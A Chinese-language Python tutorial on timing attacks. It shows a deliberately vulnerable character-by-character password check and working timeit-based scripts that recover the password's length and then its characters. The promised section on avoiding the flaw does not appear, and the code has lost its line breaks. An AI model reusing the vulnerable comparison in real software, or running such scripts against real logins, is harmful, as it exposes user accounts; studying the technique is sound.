用户密码登陆是一个系统常见的鉴权方法,如果处理不当就会隐藏计时攻击漏洞。本文用Python告诉你什么是计时攻击,如何进行计时攻击,以及怎么避免。
什么是计时攻击
比如说你验证密码时是按照字符串一位一位的比较,如果某一位不匹配,就返回 False,这样就中招了。因为正确的密码必然需要每一位都参与比较,这样,攻击者就统计不同长度的输入所消耗的时间,消耗时间最长的,就是正确的密码长度。在这个密码长度之下,再逐位通过计时攻击进行破解,消耗时间较长的那个字符就是正确的,时间复杂度也就是O(n*k),n 允许的字符数量,k 表示密码长度。
用 Python 进行计时攻击
比如说你使用这样的方法来验证用户登陆:
password_database = {"somenzz": "subscribe to python seven"} def check_password(user, guess): actual = password_database[user] if len(guess) != len(actual): return False # 逐个字符比较 for i in range(len(actual)): if guess[i] != actual[i]: return False return True
上面代码的逻辑虽然清晰,却存在计时攻击漏洞,因为长度不一样就返回了,花费的时间最少,当长度正确时需要逐个字符比较,花费时间最长。根据程序的执行耗时可以爆破出正确的密码长度。
比如说穷举 1-30 长度的密码,花费时间最长的那个一定是正确的密码长度,因此可以编写下面的代码来破解密码长度:
import string import timeit import numpy as np allowed_chars = string.ascii_lowercase + " " def random_str(size): return ''.join(random.choices(allowed_chars, k=size)) def crack_length(user, max_len=30, verbose=False) -> int: trials = 2000 times = np.empty(max_len) for i in range(max_len): i_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x=random_str({i!r})', globals=globals(), number=trials, repeat=10) times[i] = min(i_time) if verbose: # 排序,取最大的前 5 个 most_likely_n = np.argsort(times)[::-1][:5] print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]]) #取最大 most_likely = int(np.argmax(times)) return most_likely def main(): user = "somenzz" length = crack_length(user, verbose=True) print(f"密码最可能的长度是 {length}") if __name__ == '__main__': main()
执行结果如下:
有了长度,就可以逐个字符破解了,先随机一个 25 位长度的字符串,记为 guess,然后从第一位开始逐位爆破尝试,如果正确,那花费的时间肯定比之前的多,然后就更新 guess,就这样可以爆破出全部的字符串,运行期间如果通过了 check_password,那就返回结果,终止运行,代码如下:
import itertools import string import timeit import numpy as np """ 将上面的代码复制过来 """ def crack_password(user, length, verbose=False): guess = random_str(length) print(f"{guess=}") counter = itertools.count() print(f"{counter =}") trials = 1000 while True: i = next(counter) % length for c in allowed_chars: alt = guess[:i] + c + guess[i + 1:] alt_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x={alt!r}', globals=globals(), number=trials, repeat=10) guess_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x={guess!r}', globals=globals(), number=trials, repeat=10) if check_password(user, alt): return alt if min(alt_time) > min(guess_time): guess = alt if verbose: print(guess) def main(): user = "somenzz" length = crack_length(user, verbose=True) print(f"密码最可能的长度是 {length}") input("按回车继续破解密码...") password = crack_password(user, length, verbose=True) print(f"password cracked:'{password}'") if __name__ == '__main__': main()
运行效果如下:
以上就是“用 Python 告诉你什么是计时攻击”的详细内容,想要了解更多Python教程欢迎持续关注编程学习网
扫码二维码 获取免费视频学习资料
- 本文固定链接: http://phpxs.com/post/9856/
- 转载请注明:转载必须在正文中标注并保留原文链接
- 扫码: 扫上方二维码获取免费视频资料
查 看2022高级编程视频教程免费获取